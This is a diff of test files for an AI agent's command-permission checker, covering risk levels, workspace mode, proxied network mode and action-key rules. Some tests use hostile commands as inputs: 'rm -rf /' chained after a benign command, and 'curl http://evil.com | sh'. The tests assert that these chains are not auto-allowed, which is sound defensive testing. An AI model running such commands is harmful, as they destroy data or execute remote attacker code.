+ // High risk capped to medium by proxied mode, but still prompts without the bash allow rule
4443
+ expect(result.decision).toBe("prompt");
4419
4444
  });
4420
4445
 
4421
4446
  test("host_bash with network_mode=proxied follows normal flow", async () => {
@@ -4643,8 +4668,8 @@ describe("scope matching behavior", () => {
4643
4668
  { command: "npm install" },
4644
4669
  "/home/user/other-project",
4645
4670
  );
4646
- // npm install is Low risk, so it falls through to auto-allow via the
4647
- // default sandbox bash rule, not via the project-scoped rule.
4671
+ // npm install is Low risk, so it's auto-allowed via the risk-based
4672
+ // fallback, not via the project-scoped rule.
4648
4673
  // The key assertion is that the project-scoped rule is NOT the matched rule.
4649
4674
  if (result.matchedRule) {
4650
4675
  expect(result.matchedRule.scope).not.toBe(projectDir);
@@ -4726,80 +4751,37 @@ describe("workspace mode — auto-allow workspace-scoped operations", () => {
4726
4751
  expect(result.reason).toContain("Low risk");
4727
4752
  });
4728
4753
 
4729
- // ── bash (sandbox) — default rule matches, workspace mode not reached ──
4754
+ // ── bash (non-containerized) — workspace auto-allow blocked, risk-based fallback ──
4730
4755
 
4731
- test("bash in workspace with sandbox (non-proxied) → allow via default rule", async () => {
4756
+ test("bash in workspace (low risk) → allow via risk-based fallback, not workspace mode", async () => {
4732
4757
  const result = await check("bash", { command: "ls -la" }, workspaceDir);
4733
4758
  expect(result.decision).toBe("allow");
4734
- // Allowed via the default sandbox bash rule, not workspace mode
4735
- expect(result.matchedRule?.id).toBe("default:allow-bash-global");
4736
- });
4737
-
4738
- // ── bash sandbox gate — workspace auto-allow depends on sandbox being enabled ──
4739
-
4740
- test("bash with sandbox disabled in workspace mode → falls through to risk-based policy (not auto-allowed)", async () => {
4741
- const origSandbox = testConfig.sandbox.enabled;
4742
- testConfig.sandbox.enabled = false;
4743
- try {
4744
- const result = await check(
4745
- "bash",
4746
- { command: "echo hello" },
4747
- workspaceDir,
4748
- );
4749
- // Should NOT be auto-allowed via workspace mode
4750
- expect(result.reason).not.toContain("Workspace mode");
4751
- // With sandbox disabled, no default bash allow rule either, so it falls through to risk-based policy
4752
- expect(result.decision).toBe("allow");
4753
- expect(result.reason).toContain("Low risk");
4754
- } finally {
4755
- testConfig.sandbox.enabled = origSandbox;
4756
- }
4757
- });
4758
-
4759
- test("bash with sandbox enabled in workspace mode → auto-allowed via default rule", async () => {
4760
- const origSandbox = testConfig.sandbox.enabled;
4761
- testConfig.sandbox.enabled = true;
4762
- try {
4763
- const result = await check(
4764
- "bash",
4765
- { command: "echo hello" },
4766
- workspaceDir,
4767
- );
4768
- expect(result.decision).toBe("allow");
4769
- // With sandbox enabled, the default bash allow rule matches before workspace mode
4770
- expect(result.matchedRule?.id).toBe("default:allow-bash-global");
4771
- } finally {
4772
- testConfig.sandbox.enabled = origSandbox;
4773
- }
4759
+ // Not auto-allowed via workspace mode bash falls through to risk-based policy
4760
+ expect(result.reason).not.toContain("Workspace mode");
4761
+ expect(result.reason).toContain("Low risk");
4774
4762
  });
4775
4763
 
4776
- test("bash with sandbox disabled in workspace mode — medium risk command → prompt (not auto-allowed)", async () => {
4777
- const origSandbox = testConfig.sandbox.enabled;
4778
- testConfig.sandbox.enabled = false;
4779
- try {
4780
- // An unknown program is medium risk; without sandbox, workspace auto-allow is blocked
4781
- const result = await check(
4782
- "bash",
4783
- { command: "some-unknown-program --flag" },
4784
- workspaceDir,
4785
- );
4786
- expect(result.reason).not.toContain("Workspace mode");
4787
- expect(result.decision).toBe("prompt");
4788
- } finally {
4789
- testConfig.sandbox.enabled = origSandbox;
4790
- }
4764
+ test("bash in workspace (medium risk) → prompt (not auto-allowed)", async () => {
4765
+ // An unknown program is medium risk; without container, workspace auto-allow is blocked
4766
+ const result = await check(
4767
+ "bash",
4768
+ { command: "some-unknown-program --flag" },
4769
+ workspaceDir,
4770
+ );
4771
+ expect(result.reason).not.toContain("Workspace mode");
4772
+ expect(result.decision).toBe("prompt");
4791
4773
  });
4792
4774
 
4793
- // ── proxied bash — follows normal rules (no special-casing) ──
4775
+ // ── proxied bash — risk capped at medium ──
4794
4776
 
4795
- test("bash with network_mode=proxied → allow (follows normal rules in workspace mode)", async () => {
4777
+ test("bash with network_mode=proxied → prompt (medium risk, not auto-allowed outside container)", async () => {
4796
4778
  const result = await check(
4797
4779
  "bash",
4798
4780
  { command: "curl https://api.example.com", network_mode: "proxied" },
4799
4781
  workspaceDir,
4800
4782
  );
4801
- // Default allow-bash rule auto-allows; proxied mode is not special-cased.
4802
- expect(result.decision).toBe("allow");
4783
+ // Without container, bash isn't auto-allowed via workspace mode; proxied caps at medium → prompt
4784
+ expect(result.decision).toBe("prompt");
4803
4785
  });
4804
4786
 
4805
4787
  // ── host tools — default ask rules prompt ──
@@ -4900,24 +4882,17 @@ describe("shell command candidates wiring (PR 04)", () => {
4900
4882
  });
4901
4883
 
4902
4884
  test("action key rule does not match complex chain with additional action", async () => {
4903
- // Disable sandbox so the default allow-bash-global rule is not emitted;
4904
- // otherwise the catch-all "**" pattern auto-allows every bash command.
4905
- testConfig.sandbox.enabled = false;
4885
+ // Use host_bash which has no default allow-all rule, so we can verify
4886
+ // that the action key candidate isn't generated for complex chains.
4906
4887
  clearCache();
4907
- try {
4908
- addRule("bash", "action:gh pr view", "everywhere");
4909
- // Multi-action chain should NOT match because it's not a simple action
4910
- const result = await check(
4911
- "bash",
4912
- { command: "gh pr view 123 && rm -rf /" },
4913
- "/tmp",
4914
- );
4915
- // Should still prompt because the action key candidate isn't generated for complex chains
4916
- expect(result.decision).toBe("prompt");
4917
- } finally {
4918
- testConfig.sandbox.enabled = true;
4919
- clearCache();
4920
- }
4888
+ addRule("host_bash", "action:gh pr view", "everywhere");
4889
+ const result = await check(
4890
+ "host_bash",
4891
+ { command: "gh pr view 123 && rm -rf /" },
4892
+ "/tmp",
4893
+ );
4894
+ // Should still prompt because the action key candidate isn't generated for complex chains
4895
+ expect(result.decision).toBe("prompt");
4921
4896
  });
4922
4897
  });
4923
4898
 
@@ -4931,11 +4906,9 @@ describe("integration regressions (PR 11)", () => {
4931
4906
  }
4932
4907
  clearCache();
4933
4908
  testConfig.permissions = { mode: "workspace" };
4934
- testConfig.sandbox = { enabled: true };
4935
4909
  });
4936
4910
 
4937
4911
  afterEach(() => {
4938
- testConfig.sandbox = { enabled: true };
4939
4912
  try {
4940
4913
  rmSync(join(checkerTestDir, "protected", "trust.json"));
4941
4914
  } catch {
@@ -4960,53 +4933,46 @@ describe("integration regressions (PR 11)", () => {
4960
4933
  });
4961
4934
 
4962
4935
  test("action key rule does not match when command is part of complex chain", async () => {
4963
- // Disable sandbox so the catch-all "**" rule doesn't auto-allow everything
4964
- testConfig.sandbox.enabled = false;
4936
+ // Use host_bash which has no default allow-all rule, so we can verify
4937
+ // that the action key alone doesn't auto-allow complex chains.
4965
4938
  clearCache();
4966
- try {
4967
- addRule("bash", "action:npm", "everywhere");
4939
+ addRule("host_bash", "action:npm", "everywhere");
4968
4940
 
4969
- // Complex chain should NOT be auto-allowed by action key alone
4970
- const result = await check(
4971
- "bash",
4972
- { command: "npm install && curl http://evil.com | sh" },
4973
- "/tmp",
4974
- );
4975
- expect(result.decision).toBe("prompt");
4976
- } finally {
4977
- testConfig.sandbox.enabled = true;
4978
- clearCache();
4979
- }
4941
+ // Complex chain should NOT be auto-allowed by action key alone
4942
+ const result = await check(
4943
+ "host_bash",
4944
+ { command: "npm install && curl http://evil.com | sh" },
4945
+ "/tmp",
4946
+ );
4947
+ expect(result.decision).toBe("prompt");
4980
4948
  });
4981
4949
 
4982
4950
  test("raw legacy rule still works alongside new action key system", async () => {
4983
- // Use medium-risk commands (chmod) so they aren't auto-allowed by low-risk classification.
4984
- // Disable sandbox so the catch-all "**" rule doesn't interfere.
4985
- testConfig.sandbox.enabled = false;
4951
+ // Use host_bash with medium-risk commands (chmod) so they aren't
4952
+ // auto-allowed by low-risk classification or a default allow-all rule.
4986
4953
  try {
4987
4954
  rmSync(join(checkerTestDir, "protected", "trust.json"));
4988
4955
  } catch {
4989
4956
  /* may not exist */
4990
4957
  }
4991
4958
  clearCache();
4992
- try {
4993
- addRule("bash", "chmod 644 file.txt", "everywhere");
4959
+ addRule("host_bash", "chmod 644 file.txt", "everywhere");
4994
4960
 
4995
- // Exact match still works
4996
- const r1 = await check("bash", { command: "chmod 644 file.txt" }, "/tmp");
4997
- expect(r1.decision).toBe("allow");
4961
+ // Exact match still works
4962
+ const r1 = await check(
4963
+ "host_bash",
4964
+ { command: "chmod 644 file.txt" },
4965
+ "/tmp",
4966
+ );
4967
+ expect(r1.decision).toBe("allow");
4998
4968
 
4999
- // Different chmod argument should not match this exact raw rule
5000
- const r2 = await check(
5001
- "bash",
5002
- { command: "chmod 755 other.txt" },
5003
- "/tmp",
5004
- );
5005
- expect(r2.decision).not.toBe("allow");
5006
- } finally {
5007
- testConfig.sandbox.enabled = true;
5008
- clearCache();
5009
- }
4969
+ // Different chmod argument should not match this exact raw rule
4970
+ const r2 = await check(
4971
+ "host_bash",
4972
+ { command: "chmod 755 other.txt" },
4973
+ "/tmp",
4974
+ );
4975
+ expect(r2.decision).not.toBe("allow");
5010
4976
  });
5011
4977
 
5012
4978
  test("scope ordering is consistent across tool types", () => {
@@ -55,7 +55,7 @@ function expectLowRisk(command: string, actual: RiskLevel): void {
55
55
  // Dynamically extract subcommand names from the CLI program definition.
56
56
  // This ensures new commands added to program.ts are automatically covered
57
57
  // by this guard test without manual list maintenance.
58
- const program = buildCliProgram();
58
+ const program = await buildCliProgram();
59
59
  const ASSISTANT_SUBCOMMANDS = program.commands.map((c) => c.name());
60
60
 
61
61
  describe("CLI command risk guard: assistant commands", () => {
@@ -169,6 +169,7 @@ describe("AssistantConfigSchema", () => {
169
169
  enqueueIntervalMs: 6 * 60 * 60 * 1000,
170
170
  supersededItemRetentionMs: 30 * 24 * 60 * 60 * 1000,
171
171
  conversationRetentionDays: 0,
172
+ llmRequestLogRetentionMs: 7 * 24 * 60 * 60 * 1000,
172
173
  });
173
174
  });
174
175
 
@@ -421,6 +422,8 @@ describe("AssistantConfigSchema", () => {
421
422
  const result = AssistantConfigSchema.parse({});
422
423
  expect(result.permissions).toEqual({
423
424
  mode: "workspace",
425
+ askBeforeActing: true,
426
+ hostAccess: false,
424
427
  });
425
428
  });
426
429
 
@@ -1128,6 +1131,8 @@ describe("loadConfig with schema validation", () => {
1128
1131
  const config = loadConfig();
1129
1132
  expect(config.permissions).toEqual({
1130
1133
  mode: "workspace",
1134
+ askBeforeActing: true,
1135
+ hostAccess: false,
1131
1136
  });
1132
1137
  });
1133
1138
 
@@ -55,8 +55,8 @@ describe("requestCompressionApproval", () => {
55
55
  await requestCompressionApproval(prompter);
56
56
 
57
57
  const args = (prompter.prompt as ReturnType<typeof mock>).mock.calls[0];
58
- // persistentDecisionsAllowed is index 9
59
- expect(args[9]).toBe(false);
58
+ // persistentDecisionsAllowed is index 8
59
+ expect(args[8]).toBe(false);
60
60
  });
61
61
 
62
62
  test("includes a description in the input", async () => {
@@ -119,8 +119,8 @@ describe("requestCompressionApproval", () => {
119
119
  });
120
120
 
121
121
  const args = (prompter.prompt as ReturnType<typeof mock>).mock.calls[0];
122
- // signal is index 10
123
- expect(args[10]).toBe(controller.signal);
122
+ // signal is index 9
123
+ expect(args[9]).toBe(controller.signal);
124
124
  });
125
125
 
126
126
  test("works without signal option", async () => {
@@ -130,7 +130,7 @@ describe("requestCompressionApproval", () => {
130
130
 
131
131
  const args = (prompter.prompt as ReturnType<typeof mock>).mock.calls[0];
132
132
  // signal should be undefined when not provided
133
- expect(args[10]).toBeUndefined();
133
+ expect(args[9]).toBeUndefined();
134
134
  });
135
135
 
136
136
  // ── Tool name constant ──
@@ -206,11 +206,13 @@ mock.module("../daemon/conversation-memory.js", () => ({
206
206
  let mockApplyRuntimeInjections: (msgs: Message[]) => Message[] = (msgs) => msgs;
207
207
  mock.module("../daemon/conversation-runtime-assembly.js", () => ({
208
208
  applyRuntimeInjections: (msgs: Message[]) => mockApplyRuntimeInjections(msgs),
209
- stripInjectedContext: (msgs: Message[]) => msgs,
209
+ stripInjectionsForCompaction: (msgs: Message[]) => msgs,
210
+ findLastInjectedNowContent: () => null,
211
+ readNowScratchpad: () => null,
210
212
  }));
211
213
 
212
214
  mock.module("../daemon/date-context.js", () => ({
213
- buildTemporalContext: () => null,
215
+ formatTurnTimestamp: () => "2026-01-01 (Thu) 00:00:00 +00:00 (UTC)",
214
216
  }));
215
217
 
216
218
  mock.module("../daemon/history-repair.js", () => ({
@@ -226,10 +228,6 @@ mock.module("../daemon/history-repair.js", () => ({
226
228
  deepRepairHistory: (msgs: Message[]) => ({ messages: msgs, stats: {} }),
227
229
  }));
228
230
 
229
- mock.module("../daemon/conversation-history.js", () => ({
230
- consolidateAssistantMessages: () => {},
231
- }));
232
-
233
231
  const recordUsageMock = mock(() => {});
234
232
  mock.module("../daemon/conversation-usage.js", () => ({
235
233
  recordUsage: recordUsageMock,
@@ -195,11 +195,13 @@ mock.module("../daemon/conversation-memory.js", () => ({
195
195
 
196
196
  mock.module("../daemon/conversation-runtime-assembly.js", () => ({
197
197
  applyRuntimeInjections: (msgs: Message[]) => msgs,
198
- stripInjectedContext: (msgs: Message[]) => msgs,
198
+ stripInjectionsForCompaction: (msgs: Message[]) => msgs,
199
+ findLastInjectedNowContent: () => null,
200
+ readNowScratchpad: () => null,
199
201
  }));
200
202
 
201
203
  mock.module("../daemon/date-context.js", () => ({
202
- buildTemporalContext: () => null,
204
+ formatTurnTimestamp: () => "2026-01-01 (Thu) 00:00:00 +00:00 (UTC)",
203
205
  }));
204
206
 
205
207
  mock.module("../daemon/history-repair.js", () => ({
@@ -215,11 +217,6 @@ mock.module("../daemon/history-repair.js", () => ({
215
217
  deepRepairHistory: (msgs: Message[]) => ({ messages: msgs, stats: {} }),
216
218
  }));
217
219
 
218
- const consolidateAssistantMessagesMock = mock(() => false);
219
- mock.module("../daemon/conversation-history.js", () => ({
220
- consolidateAssistantMessages: consolidateAssistantMessagesMock,
221
- }));
222
-
223
220
  const recordUsageMock = mock(() => {});
224
221
  const recordRequestLogMock = mock(() => {});
225
222
  mock.module("../daemon/conversation-usage.js", () => ({
@@ -471,8 +468,6 @@ beforeEach(() => {
471
468
  recordRequestLogMock.mockClear();
472
469
  syncMessageToDiskMock.mockClear();
473
470
  rebuildConversationDiskViewFromDbStateMock.mockClear();
474
- consolidateAssistantMessagesMock.mockReset();
475
- consolidateAssistantMessagesMock.mockImplementation(() => false);
476
471
  });
477
472
 
478
473
  describe("session-agent-loop", () => {
@@ -1944,48 +1939,6 @@ describe("session-agent-loop", () => {
1944
1939
  expect(drainReason).toBe("loop_complete");
1945
1940
  });
1946
1941
 
1947
- test("rebuilds disk view after consolidation mutates persisted history", async () => {
1948
- consolidateAssistantMessagesMock.mockReturnValue(true);
1949
-
1950
- const ctx = makeCtx({
1951
- agentLoopRun: async (
1952
- messages: Message[],
1953
- onEvent: (event: AgentEvent) => void,
1954
- ) => {
1955
- onEvent({
1956
- type: "message_complete",
1957
- message: {
1958
- role: "assistant",
1959
- content: [{ type: "text", text: "done" }],
1960
- },
1961
- });
1962
- onEvent({
1963
- type: "usage",
1964
- inputTokens: 10,
1965
- outputTokens: 5,
1966
- model: "test",
1967
- providerDurationMs: 50,
1968
- });
1969
- return [
1970
- ...messages,
1971
- {
1972
- role: "assistant" as const,
1973
- content: [{ type: "text", text: "done" }] as ContentBlock[],
1974
- },
1975
- ];
1976
- },
1977
- });
1978
-
1979
- await runAgentLoopImpl(ctx, "hi", "msg-consolidate", () => {});
1980
-
1981
- expect(consolidateAssistantMessagesMock).toHaveBeenCalledWith(
1982
- "test-conv",
1983
- "msg-consolidate",
1984
- );
1985
- expect(rebuildConversationDiskViewFromDbStateMock).toHaveBeenCalledWith(
1986
- "test-conv",
1987
- );
1988
- });
1989
1942
  });
1990
1943
 
1991
1944
  describe("stale pending surface cleanup", () => {